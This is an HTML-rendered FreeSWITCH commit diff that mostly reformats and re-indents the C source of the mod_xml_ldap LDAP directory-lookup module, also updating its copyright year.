<a id="freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldap.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -111,7 +111,8 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t xml_ldap_result(void *ldap_connection, xml_binding_t *binding, switch_xml_t *xml, int *off, const xml_ldap_query_type_t query_type)
</del><ins>+static switch_status_t xml_ldap_result(void *ldap_connection, xml_binding_t *binding, switch_xml_t *xml, int *off,
+                                                                         const xml_ldap_query_type_t query_type)
</ins><span class="cx"> {
</span><span class="cx">         switch (query_type) {
</span><span class="cx">         case XML_LDAP_DIRECTORY:
</span><span class="lines">@@ -334,7 +335,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-        if ((ldap->ld = (LDAP*)ldap_init(binding->host, LDAP_PORT)) == NULL) {
</del><ins>+        if ((ldap->ld = (LDAP *) ldap_init(binding->host, LDAP_PORT)) == NULL) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to connect to ldap server.%s\n", binding->host);
</span><span class="cx">                 goto cleanup;
</span><span class="cx">         }
</span><span class="lines">@@ -343,7 +344,7 @@
</span><span class="cx">                 goto cleanup;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        ldap_set_option( ldap->ld, LDAP_OPT_X_SASL_SECPROPS, &ldap->sp );
</del><ins>+        ldap_set_option(ldap->ld, LDAP_OPT_X_SASL_SECPROPS, &ldap->sp);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -353,8 +354,11 @@
</span><span class="cx">                         goto cleanup;
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                if (ldap_sasl_interactive_bind_s(ldap->ld, NULL, binding->defaults->mech, NULL, NULL, (unsigned)(intptr_t)LDAP_SASL_SIMPLE, lutil_sasl_interact, binding->defaults ) != LDAP_SUCCESS) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to sasl_bind to ldap server %s as %s\n", binding->host, binding->defaults->authcid);
</del><ins>+                if (ldap_sasl_interactive_bind_s
+                        (ldap->ld, NULL, binding->defaults->mech, NULL, NULL, (unsigned) (intptr_t) LDAP_SASL_SIMPLE, lutil_sasl_interact,
+                         binding->defaults) != LDAP_SUCCESS) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to sasl_bind to ldap server %s as %s\n", binding->host,
+                                                         binding->defaults->authcid);
</ins><span class="cx">                         goto cleanup;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -459,8 +463,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (!binding->basedn || !binding->filter) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                         "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcmodxml_intmod_xml_ldapmod_xml_ldapv2c"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/xml_int/mod_xml_ldap/mod_xml_ldapv2.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -77,12 +77,12 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> static switch_xml_t xml_ldap_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
</span><del>- void *user_data);
</del><ins>+                                                                        void *user_data);
</ins><span class="cx">
</span><span class="cx"> static switch_status_t trydir(switch_xml_t *, int *, LDAP *, char *, char *, xml_binding_t *);
</span><span class="cx"> static switch_status_t do_config(void);
</span><del>-static switch_status_t trysearch( switch_xml_t *pxml, int *xoff, LDAP *ld, char *basedn, char *filter);
-void rec( switch_xml_t *, int*, LDAP *ld, char *);
</del><ins>+static switch_status_t trysearch(switch_xml_t *pxml, int *xoff, LDAP * ld, char *basedn, char *filter);
+void rec(switch_xml_t *, int *, LDAP * ld, char *);
</ins><span class="cx">
</span><span class="cx"> #define XML_LDAP_SYNTAX ""
</span><span class="cx">
</span><span class="lines">@@ -115,9 +115,10 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t do_config(void) {
</del><ins>+static switch_status_t do_config(void)
+{
</ins><span class="cx">         char *cf = "xml_ldap.conf";
</span><del>-        switch_xml_t cfg, xml, bindings_tag, binding_tag, param,tran;
</del><ins>+        switch_xml_t cfg, xml, bindings_tag, binding_tag, param, tran;
</ins><span class="cx">         xml_binding_t *binding = NULL;
</span><span class="cx">         xml_ldap_attribute_t *attr_list = NULL;
</span><span class="cx">         int x = 0;
</span><span class="lines">@@ -149,14 +150,14 @@
</span><span class="cx">                         if (!strcasecmp(var, "filter")) {
</span><span class="cx">                                 binding->bindings = (char *) switch_xml_attr_soft(param, "bindings");
</span><span class="cx">
</span><del>-                                if (!strncmp(binding->bindings, "configuration",strlen(binding->bindings))) {
</del><ins>+                                if (!strncmp(binding->bindings, "configuration", strlen(binding->bindings))) {
</ins><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setting type XML_LDAP_CONFIG\n");
</span><span class="cx">                                         binding->bt = XML_LDAP_CONFIG;
</span><del>-                                } else if (!strncmp(binding->bindings, "directory",strlen(binding->bindings))) {
</del><ins>+                                } else if (!strncmp(binding->bindings, "directory", strlen(binding->bindings))) {
</ins><span class="cx">                                         binding->bt = XML_LDAP_DIRECTORY;
</span><del>-                                } else if (!strncmp(binding->bindings, "dialplain",strlen(binding->bindings))) {
</del><ins>+                                } else if (!strncmp(binding->bindings, "dialplain", strlen(binding->bindings))) {
</ins><span class="cx">                                         binding->bt = XML_LDAP_DIALPLAN;
</span><del>-                                } else if (!strncmp(binding->bindings, "phrases",strlen(binding->bindings))) {
</del><ins>+                                } else if (!strncmp(binding->bindings, "phrases", strlen(binding->bindings))) {
</ins><span class="cx">                                         binding->bt = XML_LDAP_PHRASE;
</span><span class="cx">                                 }
</span><span class="cx">
</span><span class="lines">@@ -176,72 +177,72 @@
</span><span class="cx">
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                if ( binding && binding->bt == XML_LDAP_DIRECTORY ) {
</del><ins>+                if (binding && binding->bt == XML_LDAP_DIRECTORY) {
</ins><span class="cx">                         attr_list = malloc(sizeof(*attr_list));
</span><del>-                        attr_list = memset(attr_list,0,sizeof(*attr_list));
</del><ins>+                        attr_list = memset(attr_list, 0, sizeof(*attr_list));
</ins><span class="cx">                         binding->attr_list = attr_list;
</span><span class="cx">
</span><span class="cx">                         param = switch_xml_child(binding_tag, "trans");
</span><del>-                        for ( tran = switch_xml_child(param, "tran"); tran; tran = tran->next) {
</del><ins>+                        for (tran = switch_xml_child(param, "tran"); tran; tran = tran->next) {
</ins><span class="cx">                                 char *n = (char *) switch_xml_attr_soft(tran, "name");
</span><span class="cx">                                 char *m = (char *) switch_xml_attr_soft(tran, "mapfrom");
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, " adding map %s => %s\n", m , n);
-                                if (!strncasecmp("id",n,strlen(n))) {
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, " adding map %s => %s\n", m, n);
+                                if (!strncasecmp("id", n, strlen(n))) {
</ins><span class="cx">                                         attr_list->type = LDAP_EXTEN_ID;
</span><span class="cx">                                         attr_list->len = strlen(m);
</span><span class="cx">                                         attr_list->val = strdup(m);
</span><span class="cx">                                         attr_list->next = malloc(sizeof(*attr_list));
</span><del>-                                        attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
</del><ins>+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
</ins><span class="cx">                                         attr_list = attr_list->next;
</span><del>-                                } else if ( !strncasecmp("mailbox",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_MAILBOX;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("password",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_PASSWORD;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-password",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_PASSWORD;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("email-addr",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_EMAILADDR;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-email-all-messages",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_EMAILMSG;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-delete-file",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_DELETE;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
- } else if ( !strncasecmp("vm-attach-file",n,strlen(n))) {
- attr_list->type = LDAP_EXTEN_VM_ATTACHAUDIO;
- attr_list->len = strlen(m);
- attr_list->val = strdup(m);
- attr_list->next = malloc(sizeof(*attr_list));
- attr_list->next = memset(attr_list->next,0,sizeof(*attr_list));
- attr_list = attr_list->next;
</del><ins>+                                } else if (!strncasecmp("mailbox", n, strlen(n))) {
+                                        attr_list->type = LDAP_EXTEN_VM_MAILBOX;
+                                        attr_list->len = strlen(m);
+                                        attr_list->val = strdup(m);
+                                        attr_list->next = malloc(sizeof(*attr_list));
+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list->next;
+                                } else if (!strncasecmp("password", n, strlen(n))) {
+                                        attr_list->type = LDAP_EXTEN_PASSWORD;
+                                        attr_list->len = strlen(m);
+                                        attr_list->val = strdup(m);
+                                        attr_list->next = malloc(sizeof(*attr_list));
+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list->next;
+                                } else if (!strncasecmp("vm-password", n, strlen(n))) {
+                                        attr_list->type = LDAP_EXTEN_VM_PASSWORD;
+                                        attr_list->len = strlen(m);
+                                        attr_list->val = strdup(m);
+                                        attr_list->next = malloc(sizeof(*attr_list));
+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list->next;
+                                } else if (!strncasecmp("email-addr", n, strlen(n))) {
+                                        attr_list->type = LDAP_EXTEN_VM_EMAILADDR;
+                                        attr_list->len = strlen(m);
+                                        attr_list->val = strdup(m);
+                                        attr_list->next = malloc(sizeof(*attr_list));
+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list->next;
+                                } else if (!strncasecmp("vm-email-all-messages", n, strlen(n))) {
+                                        attr_list->type = LDAP_EXTEN_VM_EMAILMSG;
+                                        attr_list->len = strlen(m);
+                                        attr_list->val = strdup(m);
+                                        attr_list->next = malloc(sizeof(*attr_list));
+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list->next;
+                                } else if (!strncasecmp("vm-delete-file", n, strlen(n))) {
+                                        attr_list->type = LDAP_EXTEN_VM_DELETE;
+                                        attr_list->len = strlen(m);
+                                        attr_list->val = strdup(m);
+                                        attr_list->next = malloc(sizeof(*attr_list));
+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list->next;
+                                } else if (!strncasecmp("vm-attach-file", n, strlen(n))) {
+                                        attr_list->type = LDAP_EXTEN_VM_ATTACHAUDIO;
+                                        attr_list->len = strlen(m);
+                                        attr_list->val = strdup(m);
+                                        attr_list->next = malloc(sizeof(*attr_list));
+                                        attr_list->next = memset(attr_list->next, 0, sizeof(*attr_list));
+                                        attr_list = attr_list->next;
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                         }
</span><span class="lines">@@ -250,8 +251,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                 if (!binding->basedn || !binding->filter || !binding->url) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                                         "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "You must define \"basedn\", and \"filter\" in mod_xml_ldap.conf.xml\n");
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -271,26 +271,29 @@
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static switch_status_t trydir(switch_xml_t *pxml, int *xoff, LDAP *ld, char *dir_domain, char *dir_exten, xml_binding_t *binding) {
</del><ins>+static switch_status_t trydir(switch_xml_t *pxml, int *xoff, LDAP * ld, char *dir_domain, char *dir_exten, xml_binding_t *binding)
+{
</ins><span class="cx">         switch_status_t ret = SWITCH_STATUS_FALSE;
</span><span class="cx">         int off = *xoff;
</span><del>- char *key = NULL;
</del><ins>+        char *key = NULL;
</ins><span class="cx">         char *basedn = NULL, *filter = NULL;
</span><del>- char **val = NULL;
- BerElement *ber = NULL;
- switch_xml_t xml = *pxml, params = NULL, vars = NULL, cur = NULL;
- LDAPMessage *msg, *entry;
-        static char *fsattr[] = { "id" , "mailbox", "password", "vm-password", "email-addr", "vm-email-all-messages", "vm-delete-file", "vm-attach-file", NULL };
</del><ins>+        char **val = NULL;
+        BerElement *ber = NULL;
+        switch_xml_t xml = *pxml, params = NULL, vars = NULL, cur = NULL;
+        LDAPMessage *msg, *entry;
+        static char *fsattr[] =
+                { "id", "mailbox", "password", "vm-password", "email-addr", "vm-email-all-messages", "vm-delete-file", "vm-attach-file", NULL };
</ins><span class="cx">
</span><del>-        basedn = switch_mprintf(binding->basedn,dir_domain);
-        filter = switch_mprintf(binding->filter,dir_exten);
</del><ins>+        basedn = switch_mprintf(binding->basedn, dir_domain);
+        filter = switch_mprintf(binding->filter, dir_exten);
</ins><span class="cx">         xml_ldap_attribute_t *attr = NULL;
</span><span class="cx">
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "searching in basedn %s with filter %s\n",basedn,filter );
-        
-        if ( (ldap_search_s(ld, basedn, LDAP_SCOPE_SUB, filter, NULL, 0, &msg) != LDAP_SUCCESS) ) goto cleanup;
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "searching in basedn %s with filter %s\n", basedn, filter);
</ins><span class="cx">
</span><del>-        if ( ldap_count_entries(ld, msg) > 0 ) {
</del><ins>+        if ((ldap_search_s(ld, basedn, LDAP_SCOPE_SUB, filter, NULL, 0, &msg) != LDAP_SUCCESS))
+                goto cleanup;
+
+        if (ldap_count_entries(ld, msg) > 0) {
</ins><span class="cx">                 ret = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 xml = switch_xml_add_child_d(xml, "section", off++);
</span><span class="cx">                 switch_xml_set_attr_d(xml, "name", "directory");
</span><span class="lines">@@ -304,31 +307,25 @@
</span><span class="cx">                 params = switch_xml_add_child_d(xml, "params", off++);
</span><span class="cx">
</span><span class="cx">
</span><del>- for (
- entry = ldap_first_entry(ld, msg);
- entry != NULL;
- entry = ldap_next_entry(ld, entry) ) {
</del><ins>+                for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
</ins><span class="cx">
</span><span class="cx">
</span><del>- for (
- key = ldap_first_attribute(ld, entry, &ber);
- key != NULL;
- key = ldap_next_attribute(ld, entry, ber) ) {
</del><ins>+                        for (key = ldap_first_attribute(ld, entry, &ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
</ins><span class="cx">
</span><del>-                                for( attr = binding->attr_list; attr ; attr = attr->next ) {
-                                        if ( strlen(key) == attr->len ) {
-                                                if ( !strncasecmp(attr->val,key,strlen(key)) ) {
-                                                        val = ldap_get_values(ld,entry,key);
-                                                        if ( ldap_count_values(val) == 1 ) {
</del><ins>+                                for (attr = binding->attr_list; attr; attr = attr->next) {
+                                        if (strlen(key) == attr->len) {
+                                                if (!strncasecmp(attr->val, key, strlen(key))) {
+                                                        val = ldap_get_values(ld, entry, key);
+                                                        if (ldap_count_values(val) == 1) {
</ins><span class="cx">                                                                 if (attr->type < 2) {
</span><span class="cx">                                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "setting %s = %s ", fsattr[attr->type], val[0]);
</span><del>-                                                                        switch_xml_set_attr_d(xml,fsattr[attr->type],val[0]);
-                                                                } else if ( attr->type < 8 ) {
-                                                                        cur = switch_xml_add_child_d(params,"param",0);
-                                                                        switch_xml_set_attr_d(cur,fsattr[attr->type],val[0]);
</del><ins>+                                                                        switch_xml_set_attr_d(xml, fsattr[attr->type], val[0]);
+                                                                } else if (attr->type < 8) {
+                                                                        cur = switch_xml_add_child_d(params, "param", 0);
+                                                                        switch_xml_set_attr_d(cur, fsattr[attr->type], val[0]);
</ins><span class="cx">                                                                 } else {
</span><del>-                                                                        cur = switch_xml_add_child_d(vars,"variable",0);
-                                                                        switch_xml_set_attr_d(cur,fsattr[attr->type],val[0]);
</del><ins>+                                                                        cur = switch_xml_add_child_d(vars, "variable", 0);
+                                                                        switch_xml_set_attr_d(cur, fsattr[attr->type], val[0]);
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 /* multi val attrs */
</span><span class="lines">@@ -339,29 +336,30 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 ldap_memfree(key);
</span><del>- }
- ber_free(ber,0);
- }
</del><ins>+                        }
+                        ber_free(ber, 0);
+                }
</ins><span class="cx">
</span><del>- ldap_msgfree(entry);
- ldap_msgfree(msg);
- } else {
- ret = SWITCH_STATUS_FALSE;
- }
</del><ins>+                ldap_msgfree(entry);
+                ldap_msgfree(msg);
+        } else {
+                ret = SWITCH_STATUS_FALSE;
+        }
</ins><span class="cx">
</span><del>- cleanup:
- switch_safe_free(filter);
</del><ins>+ cleanup:
+        switch_safe_free(filter);
</ins><span class="cx">         switch_safe_free(basedn)
</span><del>-        switch_safe_free(dir_exten);
</del><ins>+                switch_safe_free(dir_exten);
</ins><span class="cx">         switch_safe_free(dir_domain);
</span><span class="cx">
</span><del>- return ret;
</del><ins>+        return ret;
</ins><span class="cx"> }
</span><del>-                
</del><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-static switch_status_t trysearch ( switch_xml_t *pxml, int *xoff, LDAP *ld, char *basedn, char *filter) {
</del><ins>+
+static switch_status_t trysearch(switch_xml_t *pxml, int *xoff, LDAP * ld, char *basedn, char *filter)
+{
</ins><span class="cx">         switch_status_t ret;
</span><span class="cx">         int off = *xoff;
</span><span class="cx">         char *key = NULL;
</span><span class="lines">@@ -373,43 +371,38 @@
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "trying search in base %s with filter %s\n", basedn, filter);
</span><span class="cx">
</span><del>-        if ( (ldap_search_s(ld, basedn, LDAP_SCOPE_ONE, filter, NULL, 0, &msg) != LDAP_SUCCESS) ) goto cleanup;
</del><ins>+        if ((ldap_search_s(ld, basedn, LDAP_SCOPE_ONE, filter, NULL, 0, &msg) != LDAP_SUCCESS))
+                goto cleanup;
</ins><span class="cx">
</span><span class="cx">
</span><del>-        if ( ldap_count_entries(ld, msg) > 0 ) {
</del><ins>+        if (ldap_count_entries(ld, msg) > 0) {
</ins><span class="cx">                 ret = SWITCH_STATUS_SUCCESS;
</span><del>-                for (
-                        entry = ldap_first_entry(ld, msg);
-                        entry != NULL;
-                        entry = ldap_next_entry(ld, entry) ) {
</del><ins>+                for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
</ins><span class="cx">
</span><del>-                        val = ldap_get_values(ld,entry,"fstag" );
</del><ins>+                        val = ldap_get_values(ld, entry, "fstag");
</ins><span class="cx">                         xml = switch_xml_add_child_d(xml, val[0], off);
</span><span class="cx">                         ldap_value_free(val);
</span><span class="cx">
</span><del>-                        for (
-                                key = ldap_first_attribute(ld, entry, &ber);
-                                key != NULL;
-                                key = ldap_next_attribute(ld, entry, ber) ) {
</del><ins>+                        for (key = ldap_first_attribute(ld, entry, &ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
</ins><span class="cx">
</span><del>-                                if ( !strncasecmp(key,"fstag",strlen(key)) || !strncasecmp(key,"objectclass",strlen(key)) ) {
</del><ins>+                                if (!strncasecmp(key, "fstag", strlen(key)) || !strncasecmp(key, "objectclass", strlen(key))) {
</ins><span class="cx">                                         ldap_memfree(key);
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                val = ldap_get_values(ld,entry,key);
</del><ins>+                                val = ldap_get_values(ld, entry, key);
</ins><span class="cx">                                 switch_xml_set_attr_d(xml, key, val[0]);
</span><span class="cx">
</span><span class="cx">                                 ldap_memfree(key);
</span><span class="cx">                                 ldap_value_free(val);
</span><span class="cx">
</span><span class="cx">                         }
</span><del>-                        ber_free(ber,0);
</del><ins>+                        ber_free(ber, 0);
</ins><span class="cx">
</span><del>-                        dn = ldap_get_dn(ld,entry);
-                 rec(&xml,&off,ld,dn);
</del><ins>+                        dn = ldap_get_dn(ld, entry);
+                        rec(&xml, &off, ld, dn);
</ins><span class="cx">
</span><del>-                        *xoff=1;
</del><ins>+                        *xoff = 1;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 ldap_msgfree(entry);
</span><span class="lines">@@ -418,19 +411,20 @@
</span><span class="cx">                 ret = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        cleanup:
</del><ins>+ cleanup:
</ins><span class="cx">         switch_safe_free(basedn);
</span><span class="cx">         switch_safe_free(filter);
</span><span class="cx">         switch_safe_free(key);
</span><span class="cx">
</span><span class="cx">         return ret;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>-void rec( switch_xml_t *pxml, int *xoff, LDAP *ld, char *dn) {
</del><ins>+void rec(switch_xml_t *pxml, int *xoff, LDAP * ld, char *dn)
+{
</ins><span class="cx">         int off = *xoff;
</span><span class="cx">         char *key;
</span><span class="cx">         char **val;
</span><span class="lines">@@ -443,34 +437,28 @@
</span><span class="cx">         ldap_search_s(ld, dn, LDAP_SCOPE_ONE, NULL, NULL, 0, &msg);
</span><span class="cx">         switch_safe_free(dn);
</span><span class="cx">
</span><del>-        if ( ldap_count_entries(ld, msg) > 0 ) {
</del><ins>+        if (ldap_count_entries(ld, msg) > 0) {
</ins><span class="cx">
</span><del>-                for (
-                        entry = ldap_first_entry(ld, msg);
-                        entry != NULL;
-                        entry = ldap_next_entry(ld, entry) ) {
</del><ins>+                for (entry = ldap_first_entry(ld, msg); entry != NULL; entry = ldap_next_entry(ld, entry)) {
</ins><span class="cx">
</span><del>-                        val = ldap_get_values(ld,entry,"fstag" );
-                        new = switch_xml_add_child_d(xml, val[0], off);
</del><ins>+                        val = ldap_get_values(ld, entry, "fstag");
+                        new = switch_xml_add_child_d(xml, val[0], off);
</ins><span class="cx">                         ldap_value_free(val);
</span><span class="cx">
</span><del>-                        for (
-                                key = ldap_first_attribute(ld, entry,&ber);
-                                key != NULL;
-                                key = ldap_next_attribute(ld,entry,ber) ) {
</del><ins>+                        for (key = ldap_first_attribute(ld, entry, &ber); key != NULL; key = ldap_next_attribute(ld, entry, ber)) {
</ins><span class="cx">
</span><del>-                                if ( !strncasecmp("fstag",key,5) || !strncasecmp("objectclass",key,10) ) {
</del><ins>+                                if (!strncasecmp("fstag", key, 5) || !strncasecmp("objectclass", key, 10)) {
</ins><span class="cx">                                         ldap_memfree(key);
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>- val = ldap_get_values(ld,entry,key);
- switch_xml_set_attr_d(new, key, val[0]);
</del><ins>+                                val = ldap_get_values(ld, entry, key);
+                                switch_xml_set_attr_d(new, key, val[0]);
</ins><span class="cx">                                 ldap_memfree(key);
</span><span class="cx">                                 ldap_value_free(val);
</span><span class="cx">                         }
</span><del>-                        ber_free(ber,0);
-                        rec( &new, xoff , ld, ldap_get_dn(ld,entry) );
</del><ins>+                        ber_free(ber, 0);
+                        rec(&new, xoff, ld, ldap_get_dn(ld, entry));
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 ldap_msgfree(entry);
</span><span class="lines">@@ -481,7 +469,8 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx"> static switch_xml_t xml_ldap_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *params,
</span><del>-                                                                        void *user_data) {
</del><ins>+                                                                        void *user_data)
+{
</ins><span class="cx">
</span><span class="cx">         xml_binding_t *binding = (xml_binding_t *) user_data;
</span><span class="cx">         switch_event_header_t *hi;
</span><span class="lines">@@ -492,8 +481,8 @@
</span><span class="cx">
</span><span class="cx">         char *basedn = NULL, *filter = NULL;
</span><span class="cx">         char *dir_domain = NULL, *dir_exten = NULL;
</span><del>-        
-        char *buf;
</del><ins>+
+        char *buf;
</ins><span class="cx">         buf = malloc(4096);
</span><span class="cx">
</span><span class="cx">         LDAP *ld;
</span><span class="lines">@@ -501,8 +490,8 @@
</span><span class="cx">
</span><span class="cx">         int xoff = 0;
</span><span class="cx">
</span><del>- xml = switch_xml_new("document");
- switch_xml_set_attr_d(xml, "type", "freeswitch/xml");
</del><ins>+        xml = switch_xml_new("document");
+        switch_xml_set_attr_d(xml, "type", "freeswitch/xml");
</ins><span class="cx">
</span><span class="cx">         if (params) {
</span><span class="cx">                 if ((hi = params->headers)) {
</span><span class="lines">@@ -512,7 +501,7 @@
</span><span class="cx">                                         break;
</span><span class="cx">
</span><span class="cx">                                 case XML_LDAP_DIRECTORY:
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG,SWITCH_LOG_ERROR, "from cb got %s=%s\n", hi->name, hi->value);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "from cb got %s=%s\n", hi->name, hi->value);
</ins><span class="cx">                                         if (!strncmp(hi->name, "user", strlen(hi->name))) {
</span><span class="cx">                                                 dir_exten = strdup(hi->value);
</span><span class="cx">                                         } else if (!strncmp(hi->name, "domain", strlen(hi->name))) {
</span><span class="lines">@@ -530,45 +519,47 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">
</span><del>- if ( (ldap_initialize(&ld,binding->url)) != LDAP_SUCCESS ) goto cleanup;
- if ( (ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &desired_version)) != LDAP_SUCCESS ) goto cleanup;
- if ( (ldap_bind_s(ld, binding->binddn, binding->bindpass, auth_method)) != LDAP_SUCCESS ) goto cleanup;
</del><ins>+        if ((ldap_initialize(&ld, binding->url)) != LDAP_SUCCESS)
+                goto cleanup;
+        if ((ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &desired_version)) != LDAP_SUCCESS)
+                goto cleanup;
+        if ((ldap_bind_s(ld, binding->binddn, binding->bindpass, auth_method)) != LDAP_SUCCESS)
+                goto cleanup;
</ins><span class="cx">
